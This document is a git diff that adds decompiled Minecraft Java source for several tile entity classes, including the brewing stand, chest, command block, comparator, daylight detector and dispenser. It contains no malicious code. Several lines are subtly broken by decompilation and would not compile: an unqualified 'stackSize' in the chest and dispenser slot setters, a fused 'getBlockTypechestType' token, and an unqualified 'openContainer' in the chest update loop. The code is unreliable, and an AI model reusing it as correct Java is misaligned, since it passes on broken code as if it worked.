+      secondaryEffect = value;
+    }
+  }
+  
+  public int getFieldCount()
+  {
+    return 3;
+  }
+  
+  public void clearInventory()
+  {
+    payment = null;
+  }
+  
+  public boolean receiveClientEvent(int id, int type)
+  {
+    if (id == 1)
+    {
+      func_174908_m();
+      return true;
+    }
+    
+
+    return super.receiveClientEvent(id, type);
+  }
+  
+
+  public static class BeamSegment
+  {
+    private final float[] field_177266_a;
+    private int field_177265_b;
+    private static final String __OBFID = "CL_00002042";
+    
+    public BeamSegment(float[] p_i45669_1_)
+    {
+      field_177266_a = p_i45669_1_;
+      field_177265_b = 1;
+    }
+    
+    protected void func_177262_a()
+    {
+      field_177265_b += 1;
+    }
+    
+    public float[] func_177263_b()
+    {
+      return field_177266_a;
+    }
+    
+    public int func_177264_c()
+    {
+      return field_177265_b;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/tileentity/TileEntityBrewingStand.java b/src/minecraft/net/minecraft/tileentity/TileEntityBrewingStand.java
new file mode 100644
index 0000000..0f2a3dc
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/TileEntityBrewingStand.java
@@ -0,0 +1,444 @@
+package net.minecraft.tileentity;
+
+import java.util.Arrays;
+import java.util.List;
+import net.minecraft.block.BlockBrewingStand;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.ContainerBrewingStand;
+import net.minecraft.inventory.ISidedInventory;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemPotion;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.potion.PotionHelper;
+import net.minecraft.server.gui.IUpdatePlayerListBox;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class TileEntityBrewingStand extends TileEntityLockable implements IUpdatePlayerListBox, ISidedInventory
+{
+  private static final int[] inputSlots = { 3 };
+  
+
+  private static final int[] outputSlots = { 0, 1, 2 };
+  
+
+  private ItemStack[] brewingItemStacks = new ItemStack[4];
+  
+
+  private int brewTime;
+  
+
+  private boolean[] filledSlots;
+  
+  private Item ingredientID;
+  
+  private String field_145942_n;
+  
+  private static final String __OBFID = "CL_00000345";
+  
+
+  public TileEntityBrewingStand() {}
+  
+
+  public String getName()
+  {
+    return hasCustomName() ? field_145942_n : "container.brewing";
+  }
+  
+
+
+
+  public boolean hasCustomName()
+  {
+    return (field_145942_n != null) && (field_145942_n.length() > 0);
+  }
+  
+  public void func_145937_a(String p_145937_1_)
+  {
+    field_145942_n = p_145937_1_;
+  }
+  
+
+
+
+  public int getSizeInventory()
+  {
+    return brewingItemStacks.length;
+  }
+  
+
+
+
+  public void update()
+  {
+    if (brewTime > 0)
+    {
+      brewTime -= 1;
+      
+      if (brewTime == 0)
+      {
+        brewPotions();
+        markDirty();
+      }
+      else if (!canBrew())
+      {
+        brewTime = 0;
+        markDirty();
+      }
+      else if (ingredientID != brewingItemStacks[3].getItem())
+      {
+        brewTime = 0;
+        markDirty();
+      }
+    }
+    else if (canBrew())
+    {
+      brewTime = 400;
+      ingredientID = brewingItemStacks[3].getItem();
+    }
+    
+    if (!worldObj.isRemote)
+    {
+      boolean[] var1 = func_174902_m();
+      
+      if (!Arrays.equals(var1, filledSlots))
+      {
+        filledSlots = var1;
+        IBlockState var2 = worldObj.getBlockState(getPos());
+        
+        if (!(var2.getBlock() instanceof BlockBrewingStand))
+        {
+          return;
+        }
+        
+        for (int var3 = 0; var3 < BlockBrewingStand.BOTTLE_PROPS.length; var3++)
+        {
+          var2 = var2.withProperty(BlockBrewingStand.BOTTLE_PROPS[var3], Boolean.valueOf(var1[var3]));
+        }
+        
+        worldObj.setBlockState(pos, var2, 2);
+      }
+    }
+  }
+  
+  private boolean canBrew()
+  {
+    if ((brewingItemStacks[3] != null) && (brewingItemStacks[3].stackSize > 0))
+    {
+      ItemStack var1 = brewingItemStacks[3];
+      
+      if (!var1.getItem().isPotionIngredient(var1))
+      {
+        return false;
+      }
+      
+
+      boolean var2 = false;
+      
+      for (int var3 = 0; var3 < 3; var3++)
+      {
+        if ((brewingItemStacks[var3] != null) && (brewingItemStacks[var3].getItem() == Items.potionitem))
+        {
+          int var4 = brewingItemStacks[var3].getMetadata();
+          int var5 = func_145936_c(var4, var1);
+          
+          if ((!ItemPotion.isSplash(var4)) && (ItemPotion.isSplash(var5)))
+          {
+            var2 = true;
+            break;
+          }
+          
+          List var6 = Items.potionitem.getEffects(var4);
+          List var7 = Items.potionitem.getEffects(var5);
+          
+          if (((var4 <= 0) || (var6 != var7)) && ((var6 == null) || ((!var6.equals(var7)) && (var7 != null))) && (var4 != var5))
+          {
+            var2 = true;
+            break;
+          }
+        }
+      }
+      
+      return var2;
+    }
+    
+
+
+    return false;
+  }
+  
+
+  private void brewPotions()
+  {
+    if (canBrew())
+    {
+      ItemStack var1 = brewingItemStacks[3];
+      
+      for (int var2 = 0; var2 < 3; var2++)
+      {
+        if ((brewingItemStacks[var2] != null) && (brewingItemStacks[var2].getItem() == Items.potionitem))
+        {
+          int var3 = brewingItemStacks[var2].getMetadata();
+          int var4 = func_145936_c(var3, var1);
+          List var5 = Items.potionitem.getEffects(var3);
+          List var6 = Items.potionitem.getEffects(var4);
+          
+          if (((var3 <= 0) || (var5 != var6)) && ((var5 == null) || ((!var5.equals(var6)) && (var6 != null))))
+          {
+            if (var3 != var4)
+            {
+              brewingItemStacks[var2].setItemDamage(var4);
+            }
+          }
+          else if ((!ItemPotion.isSplash(var3)) && (ItemPotion.isSplash(var4)))
+          {
+            brewingItemStacks[var2].setItemDamage(var4);
+          }
+        }
+      }
+      
+      if (var1.getItem().hasContainerItem())
+      {
+        brewingItemStacks[3] = new ItemStack(var1.getItem().getContainerItem());
+      }
+      else
+      {
+        brewingItemStacks[3].stackSize -= 1;
+        
+        if (brewingItemStacks[3].stackSize <= 0)
+        {
+          brewingItemStacks[3] = null;
+        }
+      }
+    }
+  }
+  
+  private int func_145936_c(int p_145936_1_, ItemStack p_145936_2_)
+  {
+    return p_145936_2_.getItem().isPotionIngredient(p_145936_2_) ? PotionHelper.applyIngredient(p_145936_1_, p_145936_2_.getItem().getPotionEffect(p_145936_2_)) : p_145936_2_ == null ? p_145936_1_ : p_145936_1_;
+  }
+  
+  public void readFromNBT(NBTTagCompound compound)
+  {
+    super.readFromNBT(compound);
+    NBTTagList var2 = compound.getTagList("Items", 10);
+    brewingItemStacks = new ItemStack[getSizeInventory()];
+    
+    for (int var3 = 0; var3 < var2.tagCount(); var3++)
+    {
+      NBTTagCompound var4 = var2.getCompoundTagAt(var3);
+      byte var5 = var4.getByte("Slot");
+      
+      if ((var5 >= 0) && (var5 < brewingItemStacks.length))
+      {
+        brewingItemStacks[var5] = ItemStack.loadItemStackFromNBT(var4);
+      }
+    }
+    
+    brewTime = compound.getShort("BrewTime");
+    
+    if (compound.hasKey("CustomName", 8))
+    {
+      field_145942_n = compound.getString("CustomName");
+    }
+  }
+  
+  public void writeToNBT(NBTTagCompound compound)
+  {
+    super.writeToNBT(compound);
+    compound.setShort("BrewTime", (short)brewTime);
+    NBTTagList var2 = new NBTTagList();
+    
+    for (int var3 = 0; var3 < brewingItemStacks.length; var3++)
+    {
+      if (brewingItemStacks[var3] != null)
+      {
+        NBTTagCompound var4 = new NBTTagCompound();
+        var4.setByte("Slot", (byte)var3);
+        brewingItemStacks[var3].writeToNBT(var4);
+        var2.appendTag(var4);
+      }
+    }
+    
+    compound.setTag("Items", var2);
+    
+    if (hasCustomName())
+    {
+      compound.setString("CustomName", field_145942_n);
+    }
+  }
+  
+
+
+
+  public ItemStack getStackInSlot(int slotIn)
+  {
+    return (slotIn >= 0) && (slotIn < brewingItemStacks.length) ? brewingItemStacks[slotIn] : null;
+  }
+  
+
+
+
+
+  public ItemStack decrStackSize(int index, int count)
+  {
+    if ((index >= 0) && (index < brewingItemStacks.length))
+    {
+      ItemStack var3 = brewingItemStacks[index];
+      brewingItemStacks[index] = null;
+      return var3;
+    }
+    
+
+    return null;
+  }
+  
+
+
+
+
+
+  public ItemStack getStackInSlotOnClosing(int index)
+  {
+    if ((index >= 0) && (index < brewingItemStacks.length))
+    {
+      ItemStack var2 = brewingItemStacks[index];
+      brewingItemStacks[index] = null;
+      return var2;
+    }
+    
+
+    return null;
+  }
+  
+
+
+
+
+  public void setInventorySlotContents(int index, ItemStack stack)
+  {
+    if ((index >= 0) && (index < brewingItemStacks.length))
+    {
+      brewingItemStacks[index] = stack;
+    }
+  }
+  
+
+
+
+
+  public int getInventoryStackLimit()
+  {
+    return 64;
+  }
+  
+
+
+
+  public boolean isUseableByPlayer(EntityPlayer playerIn)
+  {
+    return worldObj.getTileEntity(pos) == this;
+  }
+  
+
+  public void openInventory(EntityPlayer playerIn) {}
+  
+
+  public void closeInventory(EntityPlayer playerIn) {}
+  
+
+  public boolean isItemValidForSlot(int index, ItemStack stack)
+  {
+    return (stack.getItem() != Items.potionitem) && (stack.getItem() != Items.glass_bottle) ? false : index == 3 ? stack.getItem().isPotionIngredient(stack) : true;
+  }
+  
+  public boolean[] func_174902_m()
+  {
+    boolean[] var1 = new boolean[3];
+    
+    for (int var2 = 0; var2 < 3; var2++)
+    {
+      if (brewingItemStacks[var2] != null)
+      {
+        var1[var2] = true;
+      }
+    }
+    
+    return var1;
+  }
+  
+  public int[] getSlotsForFace(EnumFacing side)
+  {
+    return side == EnumFacing.UP ? inputSlots : outputSlots;
+  }
+  
+
+
+
+
+  public boolean canInsertItem(int slotIn, ItemStack itemStackIn, EnumFacing direction)
+  {
+    return isItemValidForSlot(slotIn, itemStackIn);
+  }
+  
+
+
+
+
+  public boolean canExtractItem(int slotId, ItemStack stack, EnumFacing direction)
+  {
+    return true;
+  }
+  
+  public String getGuiID()
+  {
+    return "minecraft:brewing_stand";
+  }
+  
+  public Container createContainer(InventoryPlayer playerInventory, EntityPlayer playerIn)
+  {
+    return new ContainerBrewingStand(playerInventory, this);
+  }
+  
+  public int getField(int id)
+  {
+    switch (id)
+    {
+    case 0: 
+      return brewTime;
+    }
+    
+    return 0;
+  }
+  
+
+  public void setField(int id, int value)
+  {
+    switch (id)
+    {
+    case 0: 
+      brewTime = value;
+    }
+    
+  }
+  
+
+  public int getFieldCount()
+  {
+    return 1;
+  }
+  
+  public void clearInventory()
+  {
+    for (int var1 = 0; var1 < brewingItemStacks.length; var1++)
+    {
+      brewingItemStacks[var1] = null;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/tileentity/TileEntityChest.java b/src/minecraft/net/minecraft/tileentity/TileEntityChest.java
new file mode 100644
index 0000000..7d9258c
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/TileEntityChest.java
@@ -0,0 +1,579 @@
+package net.minecraft.tileentity;
+
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.BlockChest;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.ContainerChest;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.inventory.InventoryLargeChest;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.server.gui.IUpdatePlayerListBox;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class TileEntityChest extends TileEntityLockable implements IUpdatePlayerListBox, IInventory
+{
+  private ItemStack[] chestContents = new ItemStack[27];
+  
+
+  public boolean adjacentChestChecked;
+  
+
+  public TileEntityChest adjacentChestZNeg;
+  
+
+  public TileEntityChest adjacentChestXPos;
+  
+
+  public TileEntityChest adjacentChestXNeg;
+  
+
+  public TileEntityChest adjacentChestZPos;
+  
+  public float lidAngle;
+  
+  public float prevLidAngle;
+  
+  public int numPlayersUsing;
+  
+  private int ticksSinceSync;
+  
+  private int cachedChestType;
+  
+  private String customName;
+  
+  private static final String __OBFID = "CL_00000346";
+  
+
+  public TileEntityChest()
+  {
+    cachedChestType = -1;
+  }
+  
+  public TileEntityChest(int p_i2350_1_)
+  {
+    cachedChestType = p_i2350_1_;
+  }
+  
+
+
+
+  public int getSizeInventory()
+  {
+    return 27;
+  }
+  
+
+
+
+  public ItemStack getStackInSlot(int slotIn)
+  {
+    return chestContents[slotIn];
+  }
+  
+
+
+
+
+  public ItemStack decrStackSize(int index, int count)
+  {
+    if (chestContents[index] != null)
+    {
+
+
+      if (chestContents[index].stackSize <= count)
+      {
+        ItemStack var3 = chestContents[index];
+        chestContents[index] = null;
+        markDirty();
+        return var3;
+      }
+      
+
+      ItemStack var3 = chestContents[index].splitStack(count);
+      
+      if (chestContents[index].stackSize == 0)
+      {
+        chestContents[index] = null;
+      }
+      
+      markDirty();
+      return var3;
+    }
+    
+
+
+    return null;
+  }
+  
+
+
+
+
+
+  public ItemStack getStackInSlotOnClosing(int index)
+  {
+    if (chestContents[index] != null)
+    {
+      ItemStack var2 = chestContents[index];
+      chestContents[index] = null;
+      return var2;
+    }
+    
+
+    return null;
+  }
+  
+
+
+
+
+  public void setInventorySlotContents(int index, ItemStack stack)
+  {
+    chestContents[index] = stack;
+    
+    if ((stack != null) && (stackSize > getInventoryStackLimit()))
+    {
+      stackSize = getInventoryStackLimit();
+    }
+    
+    markDirty();
+  }
+  
+
+
+
+  public String getName()
+  {
+    return hasCustomName() ? customName : "container.chest";
+  }
+  
+
+
+
+  public boolean hasCustomName()
+  {
+    return (customName != null) && (customName.length() > 0);
+  }
+  
+  public void setCustomName(String p_145976_1_)
+  {
+    customName = p_145976_1_;
+  }
+  
+  public void readFromNBT(NBTTagCompound compound)
+  {
+    super.readFromNBT(compound);
+    NBTTagList var2 = compound.getTagList("Items", 10);
+    chestContents = new ItemStack[getSizeInventory()];
+    
+    if (compound.hasKey("CustomName", 8))
+    {
+      customName = compound.getString("CustomName");
+    }
+    
+    for (int var3 = 0; var3 < var2.tagCount(); var3++)
+    {
+      NBTTagCompound var4 = var2.getCompoundTagAt(var3);
+      int var5 = var4.getByte("Slot") & 0xFF;
+      
+      if ((var5 >= 0) && (var5 < chestContents.length))
+      {
+        chestContents[var5] = ItemStack.loadItemStackFromNBT(var4);
+      }
+    }
+  }
+  
+  public void writeToNBT(NBTTagCompound compound)
+  {
+    super.writeToNBT(compound);
+    NBTTagList var2 = new NBTTagList();
+    
+    for (int var3 = 0; var3 < chestContents.length; var3++)
+    {
+      if (chestContents[var3] != null)
+      {
+        NBTTagCompound var4 = new NBTTagCompound();
+        var4.setByte("Slot", (byte)var3);
+        chestContents[var3].writeToNBT(var4);
+        var2.appendTag(var4);
+      }
+    }
+    
+    compound.setTag("Items", var2);
+    
+    if (hasCustomName())
+    {
+      compound.setString("CustomName", customName);
+    }
+  }
+  
+
+
+
+
+  public int getInventoryStackLimit()
+  {
+    return 64;
+  }
+  
+
+
+
+  public boolean isUseableByPlayer(EntityPlayer playerIn)
+  {
+    return worldObj.getTileEntity(pos) == this;
+  }
+  
+  public void updateContainingBlockInfo()
+  {
+    super.updateContainingBlockInfo();
+    adjacentChestChecked = false;
+  }
+  
+  private void func_174910_a(TileEntityChest p_174910_1_, EnumFacing p_174910_2_)
+  {
+    if (p_174910_1_.isInvalid())
+    {
+      adjacentChestChecked = false;
+    }
+    else if (adjacentChestChecked)
+    {
+      switch (SwitchEnumFacing.field_177366_a[p_174910_2_.ordinal()])
+      {
+      case 1: 
+        if (adjacentChestZNeg != p_174910_1_)
+        {
+          adjacentChestChecked = false;
+        }
+        
+        break;
+      
+      case 2: 
+        if (adjacentChestZPos != p_174910_1_)
+        {
+          adjacentChestChecked = false;
+        }
+        
+        break;
+      
+      case 3: 
+        if (adjacentChestXPos != p_174910_1_)
+        {
+          adjacentChestChecked = false;
+        }
+        
+        break;
+      
+      case 4: 
+        if (adjacentChestXNeg != p_174910_1_)
+        {
+          adjacentChestChecked = false;
+        }
+        
+        break;
+      }
+      
+    }
+  }
+  
+  public void checkForAdjacentChests()
+  {
+    if (!adjacentChestChecked)
+    {
+      adjacentChestChecked = true;
+      adjacentChestXNeg = func_174911_a(EnumFacing.WEST);
+      adjacentChestXPos = func_174911_a(EnumFacing.EAST);
+      adjacentChestZNeg = func_174911_a(EnumFacing.NORTH);
+      adjacentChestZPos = func_174911_a(EnumFacing.SOUTH);
+    }
+  }
+  
+  protected TileEntityChest func_174911_a(EnumFacing p_174911_1_)
+  {
+    BlockPos var2 = pos.offset(p_174911_1_);
+    
+    if (func_174912_b(var2))
+    {
+      TileEntity var3 = worldObj.getTileEntity(var2);
+      
+      if ((var3 instanceof TileEntityChest))
+      {
+        TileEntityChest var4 = (TileEntityChest)var3;
+        var4.func_174910_a(this, p_174911_1_.getOpposite());
+        return var4;
+      }
+    }
+    
+    return null;
+  }
+  
+  private boolean func_174912_b(BlockPos p_174912_1_)
+  {
+    if (worldObj == null)
+    {
+      return false;
+    }
+    
+
+    net.minecraft.block.Block var2 = worldObj.getBlockState(p_174912_1_).getBlock();
+    return ((var2 instanceof BlockChest)) && (chestType == getChestType());
+  }
+  
+
+
+
+
+  public void update()
+  {
+    checkForAdjacentChests();
+    int var1 = pos.getX();
+    int var2 = pos.getY();
+    int var3 = pos.getZ();
+    ticksSinceSync += 1;
+    
+
+    if ((!worldObj.isRemote) && (numPlayersUsing != 0) && ((ticksSinceSync + var1 + var2 + var3) % 200 == 0))
+    {
+      numPlayersUsing = 0;
+      float var4 = 5.0F;
+      List var5 = worldObj.getEntitiesWithinAABB(EntityPlayer.class, new net.minecraft.util.AxisAlignedBB(var1 - var4, var2 - var4, var3 - var4, var1 + 1 + var4, var2 + 1 + var4, var3 + 1 + var4));
+      Iterator var6 = var5.iterator();
+      
+      while (var6.hasNext())
+      {
+        EntityPlayer var7 = (EntityPlayer)var6.next();
+        
+        if ((openContainer instanceof ContainerChest))
+        {
+          IInventory var8 = ((ContainerChest)openContainer).getLowerChestInventory();
+          
+          if ((var8 == this) || (((var8 instanceof InventoryLargeChest)) && (((InventoryLargeChest)var8).isPartOfLargeChest(this))))
+          {
+            numPlayersUsing += 1;
+          }
+        }
+      }
+    }
+    
+    prevLidAngle = lidAngle;
+    float var4 = 0.1F;
+    
+
+    if ((numPlayersUsing > 0) && (lidAngle == 0.0F) && (adjacentChestZNeg == null) && (adjacentChestXNeg == null))
+    {
+      double var11 = var1 + 0.5D;
+      double var14 = var3 + 0.5D;
+      
+      if (adjacentChestZPos != null)
+      {
+        var14 += 0.5D;
+      }
+      
+      if (adjacentChestXPos != null)
+      {
+        var11 += 0.5D;
+      }
+      
+      worldObj.playSoundEffect(var11, var2 + 0.5D, var14, "random.chestopen", 0.5F, worldObj.rand.nextFloat() * 0.1F + 0.9F);
+    }
+    
+    if (((numPlayersUsing == 0) && (lidAngle > 0.0F)) || ((numPlayersUsing > 0) && (lidAngle < 1.0F)))
+    {
+      float var12 = lidAngle;
+      
+      if (numPlayersUsing > 0)
+      {
+        lidAngle += var4;
+      }
+      else
+      {
+        lidAngle -= var4;
+      }
+      
+      if (lidAngle > 1.0F)
+      {
+        lidAngle = 1.0F;
+      }
+      
+      float var13 = 0.5F;
+      
+      if ((lidAngle < var13) && (var12 >= var13) && (adjacentChestZNeg == null) && (adjacentChestXNeg == null))
+      {
+        double var14 = var1 + 0.5D;
+        double var9 = var3 + 0.5D;
+        
+        if (adjacentChestZPos != null)
+        {
+          var9 += 0.5D;
+        }
+        
+        if (adjacentChestXPos != null)
+        {
+          var14 += 0.5D;
+        }
+        
+        worldObj.playSoundEffect(var14, var2 + 0.5D, var9, "random.chestclosed", 0.5F, worldObj.rand.nextFloat() * 0.1F + 0.9F);
+      }
+      
+      if (lidAngle < 0.0F)
+      {
+        lidAngle = 0.0F;
+      }
+    }
+  }
+  
+  public boolean receiveClientEvent(int id, int type)
+  {
+    if (id == 1)
+    {
+      numPlayersUsing = type;
+      return true;
+    }
+    
+
+    return super.receiveClientEvent(id, type);
+  }
+  
+
+  public void openInventory(EntityPlayer playerIn)
+  {
+    if (!playerIn.func_175149_v())
+    {
+      if (numPlayersUsing < 0)
+      {
+        numPlayersUsing = 0;
+      }
+      
+      numPlayersUsing += 1;
+      worldObj.addBlockEvent(pos, getBlockType(), 1, numPlayersUsing);
+      worldObj.notifyNeighborsOfStateChange(pos, getBlockType());
+      worldObj.notifyNeighborsOfStateChange(pos.offsetDown(), getBlockType());
+    }
+  }
+  
+  public void closeInventory(EntityPlayer playerIn)
+  {
+    if ((!playerIn.func_175149_v()) && ((getBlockType() instanceof BlockChest)))
+    {
+      numPlayersUsing -= 1;
+      worldObj.addBlockEvent(pos, getBlockType(), 1, numPlayersUsing);
+      worldObj.notifyNeighborsOfStateChange(pos, getBlockType());
+      worldObj.notifyNeighborsOfStateChange(pos.offsetDown(), getBlockType());
+    }
+  }
+  
+
+
+
+  public boolean isItemValidForSlot(int index, ItemStack stack)
+  {
+    return true;
+  }
+  
+
+
+
+  public void invalidate()
+  {
+    super.invalidate();
+    updateContainingBlockInfo();
+    checkForAdjacentChests();
+  }
+  
+  public int getChestType()
+  {
+    if (cachedChestType == -1)
+    {
+      if ((worldObj == null) || (!(getBlockType() instanceof BlockChest)))
+      {
+        return 0;
+      }
+      
+      cachedChestType = getBlockTypechestType;
+    }
+    
+    return cachedChestType;
+  }
+  
+  public String getGuiID()
+  {
+    return "minecraft:chest";
+  }
+  
+  public Container createContainer(InventoryPlayer playerInventory, EntityPlayer playerIn)
+  {
+    return new ContainerChest(playerInventory, this, playerIn);
+  }
+  
+  public int getField(int id)
+  {
+    return 0;
+  }
+  
+  public void setField(int id, int value) {}
+  
+  public int getFieldCount()
+  {
+    return 0;
+  }
+  
+  public void clearInventory()
+  {
+    for (int var1 = 0; var1 < chestContents.length; var1++)
+    {
+      chestContents[var1] = null;
+    }
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_177366_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00002041";
+    
+    static
+    {
+      try
+      {
+        field_177366_a[EnumFacing.NORTH.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_177366_a[EnumFacing.SOUTH.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_177366_a[EnumFacing.EAST.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_177366_a[EnumFacing.WEST.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/tileentity/TileEntityCommandBlock.java b/src/minecraft/net/minecraft/tileentity/TileEntityCommandBlock.java
new file mode 100644
index 0000000..fed1532
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/TileEntityCommandBlock.java
@@ -0,0 +1,88 @@
+package net.minecraft.tileentity;
+
+import io.netty.buffer.ByteBuf;
+import net.minecraft.command.CommandResultStats;
+import net.minecraft.command.server.CommandBlockLogic;
+import net.minecraft.entity.Entity;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.network.Packet;
+import net.minecraft.network.play.server.S35PacketUpdateTileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+
+public class TileEntityCommandBlock extends TileEntity
+{
+  private final CommandBlockLogic field_145994_a = new CommandBlockLogic()
+  {
+    private static final String __OBFID = "CL_00000348";
+    
+    public BlockPos getPosition() {
+      return pos;
+    }
+    
+    public Vec3 getPositionVector() {
+      return new Vec3(pos.getX() + 0.5D, pos.getY() + 0.5D, pos.getZ() + 0.5D);
+    }
+    
+    public World getEntityWorld() {
+      return getWorld();
+    }
+    
+    public void setCommand(String p_145752_1_) {
+      super.setCommand(p_145752_1_);
+      markDirty();
+    }
+    
+    public void func_145756_e() {
+      getWorld().markBlockForUpdate(pos);
+    }
+    
+    public int func_145751_f() {
+      return 0;
+    }
+    
+    public void func_145757_a(ByteBuf p_145757_1_) {
+      p_145757_1_.writeInt(pos.getX());
+      p_145757_1_.writeInt(pos.getY());
+      p_145757_1_.writeInt(pos.getZ());
+    }
+    
+
+    public Entity getCommandSenderEntity() { return null; }
+  };
+  private static final String __OBFID = "CL_00000347";
+  
+  public TileEntityCommandBlock() {}
+  
+  public void writeToNBT(NBTTagCompound compound) {
+    super.writeToNBT(compound);
+    field_145994_a.writeDataToNBT(compound);
+  }
+  
+  public void readFromNBT(NBTTagCompound compound)
+  {
+    super.readFromNBT(compound);
+    field_145994_a.readDataFromNBT(compound);
+  }
+  
+
+
+
+  public Packet getDescriptionPacket()
+  {
+    NBTTagCompound var1 = new NBTTagCompound();
+    writeToNBT(var1);
+    return new S35PacketUpdateTileEntity(pos, 2, var1);
+  }
+  
+  public CommandBlockLogic getCommandBlockLogic()
+  {
+    return field_145994_a;
+  }
+  
+  public CommandResultStats func_175124_c()
+  {
+    return field_145994_a.func_175572_n();
+  }
+}
diff --git a/src/minecraft/net/minecraft/tileentity/TileEntityComparator.java b/src/minecraft/net/minecraft/tileentity/TileEntityComparator.java
new file mode 100644
index 0000000..2296e97
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/TileEntityComparator.java
@@ -0,0 +1,31 @@
+package net.minecraft.tileentity;
+
+import net.minecraft.nbt.NBTTagCompound;
+
+public class TileEntityComparator extends TileEntity {
+  private int outputSignal;
+  private static final String __OBFID = "CL_00000349";
+  
+  public TileEntityComparator() {}
+  
+  public void writeToNBT(NBTTagCompound compound) {
+    super.writeToNBT(compound);
+    compound.setInteger("OutputSignal", outputSignal);
+  }
+  
+  public void readFromNBT(NBTTagCompound compound)
+  {
+    super.readFromNBT(compound);
+    outputSignal = compound.getInteger("OutputSignal");
+  }
+  
+  public int getOutputSignal()
+  {
+    return outputSignal;
+  }
+  
+  public void setOutputSignal(int p_145995_1_)
+  {
+    outputSignal = p_145995_1_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/tileentity/TileEntityDaylightDetector.java b/src/minecraft/net/minecraft/tileentity/TileEntityDaylightDetector.java
new file mode 100644
index 0000000..7cbc0b2
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/TileEntityDaylightDetector.java
@@ -0,0 +1,25 @@
+package net.minecraft.tileentity;
+
+import net.minecraft.block.BlockDaylightDetector;
+import net.minecraft.server.gui.IUpdatePlayerListBox;
+import net.minecraft.world.World;
+
+public class TileEntityDaylightDetector extends TileEntity implements IUpdatePlayerListBox
+{
+  private static final String __OBFID = "CL_00000350";
+  
+  public TileEntityDaylightDetector() {}
+  
+  public void update()
+  {
+    if ((worldObj != null) && (!worldObj.isRemote) && (worldObj.getTotalWorldTime() % 20L == 0L))
+    {
+      blockType = getBlockType();
+      
+      if ((blockType instanceof BlockDaylightDetector))
+      {
+        ((BlockDaylightDetector)blockType).func_180677_d(worldObj, pos);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/tileentity/TileEntityDispenser.java b/src/minecraft/net/minecraft/tileentity/TileEntityDispenser.java
new file mode 100644
index 0000000..c9f4d3f
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/TileEntityDispenser.java
@@ -0,0 +1,261 @@
+package net.minecraft.tileentity;
+
+import java.util.Random;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.ContainerDispenser;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.world.World;
+
+public class TileEntityDispenser extends TileEntityLockable implements net.minecraft.inventory.IInventory
+{
+  private static final Random field_174913_f = new Random();
+  private ItemStack[] field_146022_i = new ItemStack[9];
+  
+  protected String field_146020_a;
+  private static final String __OBFID = "CL_00000352";
+  
+  public TileEntityDispenser() {}
+  
+  public int getSizeInventory()
+  {
+    return 9;
+  }
+  
+
+
+
+  public ItemStack getStackInSlot(int slotIn)
+  {
+    return field_146022_i[slotIn];
+  }
+  
+
+
+
+
+  public ItemStack decrStackSize(int index, int count)
+  {
+    if (field_146022_i[index] != null)
+    {
+
+
+      if (field_146022_i[index].stackSize <= count)
+      {
+        ItemStack var3 = field_146022_i[index];
+        field_146022_i[index] = null;
+        markDirty();
+        return var3;
+      }
+      
+
+      ItemStack var3 = field_146022_i[index].splitStack(count);
+      
+      if (field_146022_i[index].stackSize == 0)
+      {
+        field_146022_i[index] = null;
+      }
+      
+      markDirty();
+      return var3;
+    }
+    
+
+
+    return null;
+  }
+  
+
+
+
+
+
+  public ItemStack getStackInSlotOnClosing(int index)
+  {
+    if (field_146022_i[index] != null)
+    {
+      ItemStack var2 = field_146022_i[index];
+      field_146022_i[index] = null;
+      return var2;
+    }
+    
+
+    return null;
+  }
+  
+
+  public int func_146017_i()
+  {
+    int var1 = -1;
+    int var2 = 1;
+    
+    for (int var3 = 0; var3 < field_146022_i.length; var3++)
+    {
+      if ((field_146022_i[var3] != null) && (field_174913_f.nextInt(var2++) == 0))
+      {
+        var1 = var3;
+      }
+    }
+    
+    return var1;
+  }
+  
+
+
+
+  public void setInventorySlotContents(int index, ItemStack stack)
+  {
+    field_146022_i[index] = stack;
+    
+    if ((stack != null) && (stackSize > getInventoryStackLimit()))
+    {
+      stackSize = getInventoryStackLimit();
+    }
+    
+    markDirty();
+  }
+  
